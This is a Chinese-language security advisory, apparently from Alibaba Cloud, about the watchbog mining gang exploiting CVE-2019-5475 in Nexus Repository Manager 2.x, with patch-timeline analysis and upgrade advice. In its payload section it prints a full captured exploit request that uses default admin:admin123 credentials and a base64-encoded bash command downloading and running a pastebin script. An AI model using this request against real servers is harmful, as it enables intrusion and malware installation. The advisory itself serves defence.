watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击

概要

近日,阿里云安全团队发现wacthbo挖矿团伙[1]新增了CVE_2019_5475 的漏洞利用代码,并开始进行尝试性攻击。
通过对CVE_2019_5475漏洞的生命周期进行分析后发现,漏洞批量化利用的速度正在提高,如果未能在黄金修补周期内对漏洞进行修补,将有可能很快遭遇蠕虫和恶意攻击程序的攻击。

阿里云目前已第一时间上线默认防御策略。

背景

阿里云安全团队9月6日捕获了一起新漏洞利用,通过对涉及应用和漏洞的分析,我们确认这是watchbog团伙的一次版本更新,此次版本更新引入了新的漏洞CVE_2019_5475作为攻击武器,利用该漏洞该蠕虫可以通过几个简单的 HTTP 请求即可达到入侵并控制机器的目的。

漏洞涉及的应用Nexus 是一个强大的仓库管理器,它可以用于简化内部仓库和外部仓库的访问,是常见的maven私服解决方案。但是Nexus Repository Manager 2.x Capabilities中存在默认的弱密码账号,在使用401登录认证后,即可通过createrepo或mergerepo配置实现远程命令注入,从而执行任意功能。

漏洞利用payload

CVE_2019_5475 的利用代码如下所示:

PUT /nexus/service/siesta/capabilities/00009df00fbcea95 HTTP/1.1
Content-Length: 472
Accept-Encoding: gzip, deflate
Connection: close
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5
Host: 39.106.194.166:8081
Content-Type: application/xml
Authorization: Basic YWRtaW46YWRtaW4xMjM=

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<ns2:capability xmlns:ns2="http://sonatype.org/xsd/nexus-capabilities-plugin/rest/1.0"><id>healthcheck</id><notes>123</notes><enabled>true</enabled><typeId>1</typeId><properties><key>mergerepoPath</key><value>bash -c {echo,KGN1cmwgLWZzU0wgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4fHx3Z2V0IC1xIC1PIC0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4KXxiYXNo}|{base64,-d}|{bash,-i}</value></properties></ns2:capability>

其中使用了401HTTP 认证,并且存在admin:admin123的弱密码,因此只要对createrepo或mergerepo这两个字段进行命令注入,即可完成攻击。

通过对比漏洞修复前后的相关代码,其主要修改集中在yum/internal/task/CommandLineExecutor.java  这个文件。

watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击

在原有逻辑中,将直接把用户提交的命令进行执行,而修复方案即是增加了一个过滤函数getCleanCommand。

watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击

该函数将判断即将执行命令的文件路径和是否处于白名单内,否则将拒绝执行。

CVE_2019_5475生命周期回顾

2019-07-23 白帽子上报漏洞
2019-08-09 漏洞概要公开,厂商更新版本
2019-08-21 漏洞细节和利用代码公开
2019-09-04 国内白帽子提交到seebug
2019-09-06 蠕虫出现在野利用

我们回顾了CVE_2019_5475的整个生命周期,发现其在出现可利用poc代码到蠕虫的大规模利用的时间间隔仅为10天左右。而原理类似的CVE-2018-11770(Hadoop yarn RESTAPI 未授权RCE),其出现可用poc到被蠕虫大规模利用的时间约110天。

如果用户没有在8月9日-8月21日这个黄金时间内对漏洞进行修补,则可能遭到定向攻击者的成功攻击。
而在9月6日后,存在漏洞并且还未修复的用户,面对僵尸网络不停的扫描,几乎没有侥幸逃过攻击的可能性。

漏洞生命周期

watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击

每个漏洞都有其自身的生命周期,随着横轴时间线的往后,其利用价值也将逐渐降低。
顺着图中的白色线条,一个漏洞将经历从产生、poc验证、厂商公告、发布补丁以及逐渐消亡的过程,而这个过程也与常说的0day、1day、Nday 阶段进行对应。

让我们顺着红线,从攻击者的视角来看:

  1. 挖掘出一个poc后,攻击者可能会进行部分黑客活动进行小范围尝试
  2. 小范围的尝试和以及黑客圈子内的传播将扩大该漏洞被发现的可能性
  3. 随着漏洞利用价值的降低,部分圈子的泄露,该漏洞的存在被大家所知,并被部分白帽子提交给厂商
  4. 厂商将根据收到的漏洞对漏洞进行评估和修补,并同时发布安全公告
  5. 黑客们通过安全公告、漏洞详情公告等信息获得线索,并发动手中资源进行挖掘或购买等各种手段获得漏洞利用的详情,并据此开发出相应的攻击代码,并应用在各种恶意代码中

通过以往攻击 case 的分析,我们发现最大的攻击危害通常发生在大规模的攻击利用中,即漏洞被恶意攻击进行大规模利用前。

如果能在第5步前完成漏洞修补或者在之前的几步中及早发现攻击者的攻击尝试,并针对漏洞及早的进行防御和通知厂商进行修补,将能极大的减小该漏洞所造成的损失。

而阿里云实时保护着中国40%的网站,在服务百万客户的环境下,阿里云安全团队有机会第一时间看到最多的攻击变种和最大的攻击规模,并第一时间提供安全防御策略,提供安全告警通知,帮助用户更好地应对此类恶意程序的威胁。

安全建议

针对本文提到的漏洞,阿里云平台已可默认拦截。但仍建议使用Nexus Repository Manager  2.14.14以下的用户,尽快升级到 version 2.14.14以免遭遇恶意程序的攻击。

REF:
[1] Nexus Repository Manager 3新漏洞已被用于挖矿木马传播,建议用户尽快修复 - 阿里云官方博客的个人空间 - OSCHINA
[2]HackerOne
[3]GitHub - ab1gale/phpcms-2008-CVE-2018-19127
[4]Comparing release-2.14.12-02...release-2.14.14-01 · sonatype/nexus-public · GitHub
[5]CVE-2019-5475 Nexus Repository Manager 2 - OS Command Injection - 2019-08-09 – Sonatype Support

本文作者:目明

上一篇:Hadoop技术让大数据处理变得简单


下一篇:MySQL内核月报 2014.09-MySQL· 捉虫动态·auto_increment